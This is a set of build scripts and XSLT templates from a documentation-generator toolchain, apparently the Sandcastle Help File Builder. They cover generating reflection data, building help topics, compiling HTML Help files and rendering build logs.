del "%DXROOT%Data\Reflection\mscorsn.xml" del "%DXROOT%Data\Reflection\mscorsvc.xml" del "%DXROOT%Data\Reflection\mscortim.xml" del "%DXROOT%Data\Reflection\mscorwks.xml" del "%DXROOT%Data\Reflection\normalization.xml" del "%DXROOT%Data\Reflection\PerfCounter.xml" del "%DXROOT%Data\Reflection\peverify.xml" del "%DXROOT%Data\Reflection\sbscmp20_mscorlib.xml" del "%DXROOT%Data\Reflection\shfusion.xml" del "%DXROOT%Data\Reflection\ShFusRes.xml" del "%DXROOT%Data\Reflection\SOS.xml" del "%DXROOT%Data\Reflection\sysglobl.xml" del "%DXROOT%Data\Reflection\System.EnterpriseServices.Thunk.xml" del "%DXROOT%Data\Reflection\System.EnterpriseServices.Wrapper.xml" del "%DXROOT%Data\Reflection\TLBREF.xml" del "%DXROOT%Data\Reflection\vjsc.xml" del "%DXROOT%Data\Reflection\vjsnativ.xml" del "%DXROOT%Data\Reflection\VsaVb7rt.xml" del "%DXROOT%Data\Reflection\webengine.xml" del "%DXROOT%Data\Reflection\WMINet_Utils.xml" del "%DXROOT%Data\Reflection\HtmlLite.xml" del "%DXROOT%Data\Reflection\NaturalLanguage6.xml" del "%DXROOT%Data\Reflection\NlsData0009.xml" del "%DXROOT%Data\Reflection\NlsLexicons0009.xml" del "%DXROOT%Data\Reflection\PenIMC.xml" del "%DXROOT%Data\Reflection\PresentationHostDLL.xml" del "%DXROOT%Data\Reflection\SITSetup.xml" del "%DXROOT%Data\Reflection\ServiceModelEvents.xml" del "%DXROOT%Data\Reflection\ServiceMonikerSupport.xml" del "%DXROOT%Data\Reflection\WapRes.1025.xml" del "%DXROOT%Data\Reflection\WapRes.1028.xml" del "%DXROOT%Data\Reflection\WapRes.1029.xml" del "%DXROOT%Data\Reflection\WapRes.1030.xml" del "%DXROOT%Data\Reflection\WapRes.1031.xml" del "%DXROOT%Data\Reflection\WapRes.1032.xml" del "%DXROOT%Data\Reflection\WapRes.1035.xml" del "%DXROOT%Data\Reflection\WapRes.1036.xml" del "%DXROOT%Data\Reflection\WapRes.1037.xml" del "%DXROOT%Data\Reflection\WapRes.1038.xml" del "%DXROOT%Data\Reflection\WapRes.1040.xml" del "%DXROOT%Data\Reflection\WapRes.1041.xml" del "%DXROOT%Data\Reflection\WapRes.1042.xml" del "%DXROOT%Data\Reflection\WapRes.1043.xml" del "%DXROOT%Data\Reflection\WapRes.1044.xml" del "%DXROOT%Data\Reflection\WapRes.1045.xml" del "%DXROOT%Data\Reflection\WapRes.1046.xml" del "%DXROOT%Data\Reflection\WapRes.1049.xml" del "%DXROOT%Data\Reflection\WapRes.1053.xml" del "%DXROOT%Data\Reflection\WapRes.1055.xml" del "%DXROOT%Data\Reflection\WapRes.2052.xml" del "%DXROOT%Data\Reflection\WapRes.2070.xml" del "%DXROOT%Data\Reflection\WapRes.3082.xml" del "%DXROOT%Data\Reflection\WapRes.xml" del "%DXROOT%Data\Reflection\WapUI.xml" del "%DXROOT%Data\Reflection\dlmgr.xml" del "%DXROOT%Data\Reflection\gencomp.xml" del "%DXROOT%Data\Reflection\install.res.1033.xml" del "%DXROOT%Data\Reflection\setupres.1025.xml" del "%DXROOT%Data\Reflection\setupres.1028.xml" del "%DXROOT%Data\Reflection\setupres.1029.xml" del "%DXROOT%Data\Reflection\setupres.1030.xml" del "%DXROOT%Data\Reflection\setupres.1031.xml" del "%DXROOT%Data\Reflection\setupres.1032.xml" del "%DXROOT%Data\Reflection\setupres.1035.xml" del "%DXROOT%Data\Reflection\setupres.1036.xml" del "%DXROOT%Data\Reflection\setupres.1037.xml" del "%DXROOT%Data\Reflection\setupres.1038.xml" del "%DXROOT%Data\Reflection\setupres.1040.xml" del "%DXROOT%Data\Reflection\setupres.1041.xml" del "%DXROOT%Data\Reflection\setupres.1042.xml" del "%DXROOT%Data\Reflection\setupres.1043.xml" del "%DXROOT%Data\Reflection\setupres.1044.xml" del "%DXROOT%Data\Reflection\setupres.1045.xml" del "%DXROOT%Data\Reflection\setupres.1046.xml" del "%DXROOT%Data\Reflection\setupres.1049.xml" del "%DXROOT%Data\Reflection\setupres.1053.xml" del "%DXROOT%Data\Reflection\setupres.1055.xml" del "%DXROOT%Data\Reflection\setupres.2052.xml" del "%DXROOT%Data\Reflection\setupres.2070.xml" del "%DXROOT%Data\Reflection\setupres.3082.xml" del "%DXROOT%Data\Reflection\setupres.xml" del "%DXROOT%Data\Reflection\vs70uimgr.xml" del "%DXROOT%Data\Reflection\vs_setup.xml" del "%DXROOT%Data\Reflection\vsbasereqs.xml" del "%DXROOT%Data\Reflection\vsscenario.xml" ECHO * ECHO * The reflection data has been built. Hit any key to exit. ECHO * PAUSE :Done
zyyin2005-lokad
Resource/Tool/SHFB/BuildReflectionData.bat
Batchfile
bsd
6,458
@ECHO OFF REM Step 4.1 - Build the reference help topics "{@SandcastlePath}ProductionTools\BuildAssembler" /config:conceptual.config ConceptualManifest.xml
zyyin2005-lokad
Resource/Tool/SHFB/Templates/BuildConceptualTopics.bat
Batchfile
bsd
161
@ECHO OFF REM Step 3 - Transform the reflection output if {%1} == {vs2005} ( "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\ApplyVSDocModel.xsl","{@SandcastlePath}ProductionTransforms\AddGuidFilenames.xsl" reflection.org /out:reflection.xml /arg:IncludeAllMembersTopic=true /arg:IncludeInheritedOverloadTopics=true {@IncludeProjectNode} ) else if {%1} == {hana} ( "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\ApplyVSDocModel.xsl","{@SandcastlePath}ProductionTransforms\AddGuidFilenames.xsl" reflection.org /out:reflection.xml /arg:IncludeAllMembersTopic=false /arg:IncludeInheritedOverloadTopics=true {@IncludeProjectNode} ) else ( "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\ApplyPrototypeDocModel.xsl","{@SandcastlePath}ProductionTransforms\AddGuidFilenames.xsl" reflection.org /out:reflection.xml ) REM Generate a topic manifest "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\ReflectionToManifest.xsl" reflection.xml /out:manifest.xml
zyyin2005-lokad
Resource/Tool/SHFB/Templates/TransformManifest.bat
Batchfile
bsd
1,138
@ECHO OFF REM Step 6.2 - Generate a packaged table of content for an HTML 2.x help file "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\TocToHxSContents.xsl" toc.xml /out:"{@HTMLHelpName}.HxT"
zyyin2005-lokad
Resource/Tool/SHFB/Templates/Generate2xTOC.bat
Batchfile
bsd
242
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.1" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:mshelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:msxsl="urn:schemas-microsoft-com:xslt"> <!-- // System : Sandcastle Help File Builder Utilities // File : Hana.xsl // Author : Eric Woodruff // Updated : 03/15/2008 // Note : Copyright 2007-2008, Eric Woodruff, All rights reserved // // This is used to convert *.topic additional content files into *.html files // that have the same appearance as API topics using the Hana presentation // style. --> <xsl:output method="xml" omit-xml-declaration="yes" encoding="utf-8" /> <!-- This parameter, if specified, defines the path to the root folder --> <xsl:param name="pathToRoot" select="string('')" /> <!-- Allow for alternate header text --> <xsl:variable name="customHeader"> <xsl:choose> <xsl:when test="topic/headerTitle"> <xsl:value-of select="topic/headerTitle"/> </xsl:when> <xsl:otherwise> <!-- The product title is replaced with the project's HTML encoded HelpTitle value --> <@HtmlEncHelpTitle/> </xsl:otherwise> </xsl:choose> </xsl:variable> <!-- Main template for the topic --> <xsl:template match="/topic"> <html> <head> <title><xsl:value-of select="title"/></title> <link rel="stylesheet" type="text/css" href="{$pathToRoot}styles/presentation.css" /> <link rel="stylesheet" type="text/css" href="ms-help://Hx/HxRuntime/HxLink.css" /> <link rel="stylesheet" type="text/css" href="ms-help://Dx/DxRuntime/DxLink.css" /> <script type="text/javascript" src="{$pathToRoot}scripts/EventUtilities.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/SplitScreen.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/Dropdown.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/script_manifold.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/LanguageFilter.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/DataStore.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/CommonUtilities.js"></script> <script type="text/javascript" src="{$pathToRoot}scripts/MemberFilter.js"></script> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8" /> <META NAME="save" CONTENT="history" /> <!-- Stylesheet and script for colorized code blocks --> <link type="text/css" rel="stylesheet" href="{$pathToRoot}styles/highlight.css" /> <script type="text/javascript" src="{$pathToRoot}scripts/highlight.js"></script> <xml> <MSHelp:Attr Name="DocSet" Value="NetFramework" /> <MSHelp:Attr Name="DocSet" Value="<@HtmlHelpName>" /> <MSHelp:Attr Name="Locale" Value="<@Locale>" /> <MSHelp:Attr Name="TargetOS" Value="Windows" /> <!-- Include the user's XML data island for HTML Help 2.0 if present --> <xsl:if test="xml"> <xsl:copy-of select="xml/*"/> </xsl:if> </xml> <!-- Add a link to an additional stylesheet if specified --> <xsl:if test="styleSheet"> <link rel="stylesheet" type="text/css"> <xsl:attribute name="href"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="styleSheet/@filename"/> </xsl:attribute> </link> </xsl:if> </head> <body> <input type="hidden" id="userDataCache" class="userDataStyle" /> <input type="hidden" id="hiddenScrollOffset" /> <img id="collapseImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/collapse_all.gif" alt="Collapse image"/> <img id="expandImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/expand_all.gif" alt="Expand Image"/> <img id="collapseAllImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/collall.gif" alt="CollapseAll image"/> <img id="expandAllImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/expall.gif" alt="ExpandAll image"/> <img id="dropDownImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_unselected.gif" alt="DropDown image"/> <img id="dropDownHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_unselected_hover.gif" alt="DropDownHover image"/> <img id="copyImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/copycode.gif" alt="Copy image"/> <img id="copyHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/copycodeHighlight.gif" alt="CopyHover image"/> <img id="checkBoxSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/ch_selected.gif"/> <img id="checkBoxUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/ch_unselected.gif"/> <img id="checkBoxSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/ch_selected_hover.gif"/> <img id="checkBoxUnSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/ch_unselected_hover.gif"/> <img id="radioSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/r_select.gif"/> <img id="radioUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/r_unselect.gif"/> <img id="radioSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/r_select_hover.gif"/> <img id="radioUnSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/r_unselect_hover.gif"/> <img id="curvedLeftSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_sel_lft_cnr.gif"/> <img id="curvedRightSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_sel_rt_cnr.gif"/> <img id="curvedLeftUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_unsel_lft_cnr.gif"/> <img id="curvedRightUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_unsel_rt_cnr.gif"/> <img id="gradLeftSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_sel_lft_grad.gif"/> <img id="gradRightSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_sel_rt_grad.gif"/> <img id="gradLeftUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_unsel_lft_grad.gif"/> <img id="gradRightUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/tab_unsel_rt_grad.gif"/> <img id="twirlSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_selected.gif"/> <img id="twirlUnSelectImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_unselected.gif"/> <img id="twirlSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_selected_hover.gif"/> <img id="twirlUnSelectHoverImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/twirl_unselected_hover.gif"/> <img id="NSRBottomImage" style="display:none; height:0; width:0;" src="{$pathToRoot}icons/NSRbottomgrad.gif"/> <div id="header"> <!-- Include the logo if present --> <xsl:choose> <xsl:when test="logoFile"> <xsl:apply-templates select="logoFile"/> </xsl:when> <xsl:otherwise> <table id="topTable"> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="title"/></span></td> </tr> <tr> <td class="nsrBottom" background="{$pathToRoot}icons/NSRbottomgrad.gif"></td> </tr> </table> </xsl:otherwise> </xsl:choose> </div> <div id="mainSection"> <div id="mainBody"> <div id="allHistory" class="saveHistory" onsave="saveAll()" onload="loadAll()" /> <!-- Process the body text --> <xsl:apply-templates select="bodyText" /> <div id="footer"> <div class="footerLine"><img width="100%" height="3px" src="{$pathToRoot}icons/footer.gif" alt="Footer image"/></div> <!-- This includes the footer item from the shared content --> <include item="footer"/> </div> </div> </div> </body> </html> </xsl:template> <!-- Pass through html tags from the body --> <xsl:template match="p|ol|ul|li|dl|dt|dd|table|tr|th|td|h1|h2|h3|h4|h5|h6|hr|br|pre|blockquote|div|span|a|img|b|i|strong|em|del|sub|sup|abbr|acronym|u|font|link|script|code|map|area"> <xsl:copy> <xsl:copy-of select="@*" /> <xsl:apply-templates /> </xsl:copy> </xsl:template> <!-- Add the logo --> <xsl:template match="logoFile"> <xsl:choose> <xsl:when test="@placement='above'"> <table id="topTable"> <tr> <td> <xsl:if test="@alignment"> <xsl:attribute name="align"> <xsl:value-of select="@alignment"/> </xsl:attribute> </xsl:if> <img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr> <td class="nsrBottom" background="{$pathToRoot}icons/NSRbottomgrad.gif"></td> </tr> </table> </xsl:when> <xsl:when test="@placement='right'"> <table id="topTable"> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> <td rowspan="2" align="center" style="width: 1px; padding: 0px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr> <td class="nsrBottom" colspan="2" background="{$pathToRoot}icons/NSRbottomgrad.gif"></td> </tr> </table> </xsl:when> <xsl:otherwise> <table id="topTable"> <tr> <td rowspan="3" align="center" style="width: 1px; padding: 0px"><img> <xsl:attribute name="src"> <xsl:value-of select="$pathToRoot"/> <xsl:value-of select="@filename"/> </xsl:attribute> <xsl:attribute name="altText"> <xsl:value-of select="@altText"/> </xsl:attribute> <xsl:if test="@height"> <xsl:attribute name="height"> <xsl:value-of select="@height"/> </xsl:attribute> </xsl:if> <xsl:if test="@width"> <xsl:attribute name="width"> <xsl:value-of select="@width"/> </xsl:attribute> </xsl:if> </img></td> </tr> <tr id="headerTableRow1"> <td align="left"><span id="runningHeaderText"><xsl:value-of select="$customHeader"/></span></td> </tr> <tr id="headerTableRow2"> <td align="left"><span id="nsrTitle"><xsl:value-of select="parent::*/title"/></span></td> </tr> <tr> <td class="nsrBottom" colspan="2" background="{$pathToRoot}icons/NSRbottomgrad.gif"></td> </tr> </table> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Templates/Hana.xsl
XSLT
bsd
12,406
@ECHO OFF REM Step 2 - Generate inherited documentation "{@SHFBFolder}GenerateInheritedDocs" GenerateInheritedDocs.config
zyyin2005-lokad
Resource/Tool/SHFB/Templates/GenerateInheritedDocs.bat
Batchfile
bsd
127
@ECHO OFF REM Step 4.2 - Build the reference help topics "{@SandcastlePath}ProductionTools\BuildAssembler" /config:sandcastle.config manifest.xml
zyyin2005-lokad
Resource/Tool/SHFB/Templates/BuildReferenceTopics.bat
Batchfile
bsd
151
<?xml version="1.0"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.1"> <xsl:output indent="yes" encoding="UTF-8" /> <xsl:template match="node() | @*"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> </xsl:copy> </xsl:template> <!-- EFW - Add a "scriptSharp" element to each API node so that the JavaScript syntax generator will apply the casing rules to the member name. --> <xsl:template match="api"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> <scriptSharp /> </xsl:copy> </xsl:template> <!-- Fix subgroups for enumerations --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.Enum']/apidata/@subgroup"> <xsl:attribute name="subgroup"> <xsl:value-of select="'enumeration'"/> </xsl:attribute> </xsl:template> <!-- Strip ancestors from enumerations --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.Enum']/family"> </xsl:template> <!-- Strip invalid members from enumerations --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.Enum']/elements"> <elements> <xsl:for-each select="element"> <xsl:if test="(starts-with(@api, 'F:') and not(contains(@api, 'value__')))"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> </xsl:copy> </xsl:if> </xsl:for-each> </elements> </xsl:template> <!-- Fix subgroups for enumerations --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.MulticastDelegate']/apidata/@subgroup"> <xsl:attribute name="subgroup"> <xsl:value-of select="'delegate'"/> </xsl:attribute> </xsl:template> <!-- Strip ancestors from delegates --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.MulticastDelegate']/family"> </xsl:template> <!-- Strip elements from delegates --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.MulticastDelegate']/elements"> </xsl:template> <!-- Insert parameters into delegates --> <xsl:template match="reflection/apis/api[apidata/@group='type' and family/ancestors/type/@api='T:System.MulticastDelegate']/apidata"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> </xsl:copy> <xsl:variable name="id" select="../@id" /> <xsl:copy-of select="/reflection/apis/api[starts-with(@id, concat('M:', substring-after($id, 'T:'), '.Invoke('))]/parameters"> </xsl:copy-of> </xsl:template> <!-- Annotate members whose types have the GlobalMethodsAttribute --> <xsl:template match="reflection/apis/api[apidata/@group='member']/apidata/@name"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> </xsl:copy> <xsl:variable name="type" select="../../containers/type/@api" /> <xsl:if test="/reflection/apis/api[@id=$type]/attributes/attribute/type/@api='T:System.GlobalMethodsAttribute'"> <xsl:attribute name="global"> <xsl:value-of select="'true'"/> </xsl:attribute> </xsl:if> </xsl:template> <!-- Annotate constructors whose types have the RecordAttribute --> <xsl:template match="reflection/apis/api[apidata/@group='member']/apidata[@subgroup='constructor']/@subgroup"> <xsl:copy> <xsl:apply-templates select="node() | @*" /> </xsl:copy> <xsl:variable name="type" select="../../containers/type/@api" /> <xsl:if test="/reflection/apis/api[@id=$type]/attributes/attribute/type/@api='T:System.RecordAttribute'"> <xsl:attribute name="record"> <xsl:value-of select="'true'"/> </xsl:attribute> </xsl:if> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Templates/FixScriptSharp.xsl
XSLT
bsd
3,865
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.1" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:shfb="urn:shfb-extensions"> <!-- // System : Sandcastle Help File Builder // File : BuildLog.xsl // Author : Eric Woodruff // Updated : 03/15/2008 // Note : Copyright 2008, Eric Woodruff, All rights reserved // // This is used to convert a SHFB build log into a viewable HTML page. --> <msxsl:script language="C#" implements-prefix="shfb"> <msxsl:using namespace="System.Text.RegularExpressions" /> <![CDATA[ private static Regex reScriptName = new Regex("^\\[.*?\\]", RegexOptions.Multiline); private static Regex reWarning = new Regex("(Warn|Warning):", RegexOptions.IgnoreCase); private static Regex reErrors = new Regex( @"^(Error|UnrecognizedOption|Unhandled Exception|Fatal Error|" + @"Unexpected error.*|HHC\d+: Error|(Fatal )?Error HXC\d+|" + @"Process is terminated|BUILD FAILED):|BUILD CANCELLED BY USER", RegexOptions.IgnoreCase | RegexOptions.Multiline); // Encode a few special characters, add a style to script names, warnings, // and errors, and return a non-breaking space if empty. public static string StyleLogText(string logText) { // System.Web isn't always available so do some simple encoding logText = logText.Trim().Replace("&", "&amp;"); logText = logText.Replace("<", "&lt;"); logText = logText.Replace(">", "&gt;"); logText = reScriptName.Replace(logText, "<span class=\"ScriptName\">$0</span>"); logText = reWarning.Replace(logText, "<span class=\"Warning\">$0</span>"); logText = reErrors.Replace(logText, "<span class=\"Error\">$0</span>"); return (logText.Length == 0) ? "&#160;" : logText; } ]]> </msxsl:script> <xsl:output method="xml" omit-xml-declaration="yes" encoding="utf-8" /> <!-- Main template for the log --> <xsl:template match="/shfbBuild"> <html> <head> <title><xsl:value-of select="product"/></title> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8" /> <style> body { font-size: 10pt; font-family: Arial, Verdana, sans-serif; color: black; background-color: white; } h3 { margin: 0px; } h4 { margin: 0px; } pre { font-family: Consolas, "Courier New", Courier, monospace; font-size: 10pt; margin-top: 0px; margin-left: 20px; margin-bottom: 20px; padding: 0px; } .SectionHeader { background-color: #0066cc; color: white; padding: 5px; width: 95%; margin-left: 0px; margin-right: 2px; margin-top: 0px; padding: 2px; } .CollapsedHeader { background-color: #dcdcdc; color: black; padding: 5px; width: 95%; margin-left: 0px; margin-right: 2px; margin-top: 0px; padding: 2px; } .Warning { font-weight: bold; background-color: #ffd700; padding: 2px; } .Error { font-weight: bold; background-color: #b22222; color: #ffffff; padding: 2px; } .CollapseBox { cursor: pointer; color: black; text-align: center; border-style: solid; border-width: 1px; border-color: gray; margin-left: 0px; margin-right: 2px; margin-top: 0px; padding: 2px; width: 20px; } .ScriptName { font-weight: bold; } .PlugIn { border-left: black 5px solid; padding-top: 5px; padding-bottom: 5px; padding-left: 10px; } .PlugInHeader { background-color: #cccc99; color: black; width: 95%; padding: 2px; } </style> </head> <body> <h3><xsl:value-of select="@product"/>&#160;<xsl:value-of select="@version"/> Build Log</h3> <h4>Project File: <xsl:value-of select="@projectFile"/></h4> <h4>Build Started: <xsl:value-of select="@started"/></h4> <br/><hr/> <a href="#" onclick="javascript: ExpandCollapseAll(false);">Collapse All</a>&#160;&#160;&#160;&#160;<a href="#" onclick="javascript: ExpandCollapseAll(true);">Expand All</a> <hr/> <!-- Process the build steps --> <xsl:apply-templates select="buildStep" /> <hr/> End of Log <hr/> <a href="#" onclick="javascript: ExpandCollapseAll(false);">Collapse All</a>&#160;&#160;&#160;&#160;<a href="#" onclick="javascript: ExpandCollapseAll(true);">Expand All</a> <script type="text/javascript"> // Expand/collapse a section function ExpandCollapse(showId, hideId) { var showSpan = document.getElementById(showId), hideSpan = document.getElementById(hideId); showSpan.style.display = "inline"; hideSpan.style.display = "none"; } // Expand or collapse all sections function ExpandCollapseAll(expand) { var spans = document.getElementsByTagName("span") var spanIdx, id; for(spanIdx = 0; spanIdx != spans.length - 1; spanIdx++) { id = spans[spanIdx].getAttribute('id'); if(id.substr(0, 4) == "col_") if(expand) ExpandCollapse("exp_" + id.substr(4), id); else ExpandCollapse(id, "exp_" + id.substr(4)); } } </script> </body> </html> </xsl:template> <!-- Build step template --> <xsl:template match="buildStep"> <span id="col_{@step}" style="display: none;"><span class="CollapseBox" onclick="javascript: ExpandCollapse('exp_{@step}', 'col_{@step}');">+</span> <span><span class="CollapsedHeader"><xsl:value-of select="@step"/></span><br/><br/></span></span><span id="exp_{@step}" style="display: inline;"> <span class="CollapseBox" onclick="javascript: ExpandCollapse('col_{@step}', 'exp_{@step}');">-</span> <span class="SectionHeader"><xsl:value-of select="@step"/></span><br/><br/> <pre> <xsl:apply-templates /> </pre> </span> </xsl:template> <!-- Plug-in template --> <xsl:template match="plugIn"> <div class="PlugIn"><span class="PlugInHeader"><b>Plug-In:</b>&#160;<xsl:value-of select="@name" />&#160;&#160;<b>Running:</b>&#160;<xsl:value-of select="@behavior" /></span><br/> <xsl:value-of select="shfb:StyleLogText(text())" disable-output-escaping="yes" /> </div> </xsl:template> <!-- Text template --> <xsl:template match="text()"> <xsl:value-of select="shfb:StyleLogText(.)" disable-output-escaping="yes" /> </xsl:template> </xsl:stylesheet>
zyyin2005-lokad
Resource/Tool/SHFB/Templates/TransformBuildLog.xsl
XSLT
bsd
6,273
@ECHO OFF REM Step 1 - Generate the reflection information "{@SandcastlePath}ProductionTools\MRefBuilder" /config:MRefBuilder.config /out:reflection.org {@Dependencies} {@DocInternals} *.dll *.exe IF ERRORLEVEL 1 GOTO Exit REM Merge duplicate topics (if any) COPY /Y reflection.org reflection.all "{@SandcastlePath}ProductionTools\XslTransform" /xsl:"{@SandcastlePath}ProductionTransforms\MergeDuplicates.xsl" reflection.all /out:reflection.org :Exit
zyyin2005-lokad
Resource/Tool/SHFB/Templates/GenerateRefInfo.bat
Batchfile
bsd
469
@ECHO OFF REM Step 7.2 - Build the HTML 2.x help file cd .\Output copy "..\{@HTMLHelpName}.HxT" . > NUL copy ..\Help2x.HxC "{@HTMLHelpName}.HxC" > NUL copy ..\Help2x.HxF "{@HTMLHelpName}.HxF" > NUL copy ..\Help2x_A.HxK "{@HTMLHelpName}_A.HxK" > NUL copy ..\Help2x_B.HxK "{@HTMLHelpName}_B.HxK" > NUL copy ..\Help2x_F.HxK "{@HTMLHelpName}_F.HxK" > NUL copy ..\Help2x_K.HxK "{@HTMLHelpName}_K.HxK" > NUL copy ..\Help2x_NamedURLIndex.HxK "{@HTMLHelpName}_NamedURLIndex.HxK" > NUL copy ..\Help2x_S.HxK "{@HTMLHelpName}_S.HxK" > NUL IF EXIST ..\StopWordList.txt copy ..\StopWordList.txt StopWordList.txt > NUL "{@HXCompPath}hxcomp" -p "{@HTMLHelpName}.HxC" -l "{@HTMLHelpName}.log" type "{@HTMLHelpName}.log" cd .. IF EXIST "{@OutputFolder}{@HTMLHelpName}.Hx?" DEL "{@OutputFolder}{@HTMLHelpName}.Hx?" > NUL IF EXIST "{@OutputFolder}{@HTMLHelpName}_?.Hx?" DEL "{@OutputFolder}{@HTMLHelpName}_?.Hx?" > NUL copy ".\Output\*.Hx?" "{@OutputFolder}" > NUL del "{@OutputFolder}\{@HTMLHelpName}.HxF" > NUL REM Must remove these in case we are building a 1x file or website as well IF EXIST ".\Output\{@HTMLHelpName}.log" del ".\Output\{@HTMLHelpName}.log" > NUL IF EXIST .\Output\StopWordList.txt del .\Output\StopWordList.txt > NUL del .\Output\*.Hx? > NUL
zyyin2005-lokad
Resource/Tool/SHFB/Templates/Build2xHelpFile.bat
Batchfile
bsd
1,282
@ECHO OFF REM Step 7.1 - Build the HTML 1.x help file cd .\Output copy ..\*.hhp . > NUL copy ..\*.hhc . > NUL copy ..\*.hhk . > NUL "{@HHCPath}hhc.exe" Help1x.hhp cd .. IF EXIST "{@OutputFolder}{@HTMLHelpName}.chm" DEL "{@OutputFolder}{@HTMLHelpName}.chm" > NUL IF EXIST ".\Output\{@HTMLHelpName}.chm" COPY ".\Output\{@HTMLHelpName}.chm" "{@OutputFolder}" > NUL REM Must remove these in case we are building a 2x file or website as well del .\Output\*.hhp > NUL del .\Output\*.hhc > NUL del .\Output\*.hhk > NUL del ".\Output\{@HTMLHelpName}.chm" > NUL del ".\Output\{@HTMLHelpName}.log" > NUL
zyyin2005-lokad
Resource/Tool/SHFB/Templates/Build1xHelpFile.bat
Batchfile
